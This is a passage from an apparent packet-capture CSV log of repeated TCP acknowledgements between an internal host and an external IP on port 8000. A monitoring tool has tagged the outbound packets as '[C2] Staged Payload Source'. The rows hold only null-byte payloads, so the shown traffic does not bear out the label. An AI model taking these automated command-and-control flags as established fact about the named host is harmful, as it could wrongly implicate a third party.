\"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19508, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58303, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:17.702846,408,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b05e400080063fa00a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45150, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16288, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:17.702875,409,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3540004006e3bec0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L5@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19509, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58302, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:18.702915,410,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b05f400080063f9f0a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45151, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16287, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:18.702944,411,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3640004006e3bdc0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L6@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19510, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58301, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:19.718577,412,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b060400080063f9e0a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45152, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16286, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:19.718588,413,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3740004006e3bcc0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L7@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19511, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58300, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:20.734142,414,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b061400080063f9d0a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45153, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16285, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:20.734150,415,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3840004006e3bbc0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L8@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19512, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58299, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:21.749928,416,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b062400080063f9c0a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45154, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16284, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:21.749965,417,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3940004006e3bac0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L9@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19513, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58298, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:22.765500,418,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b063400080063f9b0a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45155, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16283, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:22.765537,419,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3a40004006e3b9c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L:@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19514, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58297, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:23.781225,420,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b064400080063f9a0a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45156, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16282, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:23.781254,421,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3b40004006e3b8c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L;@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19515, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58296, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:24.796746,422,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b065400080063f990a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45157, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16281, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:24.796760,423,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3c40004006e3b7c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L<@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19516, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58295, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:25.812388,424,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b066400080063f980a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", 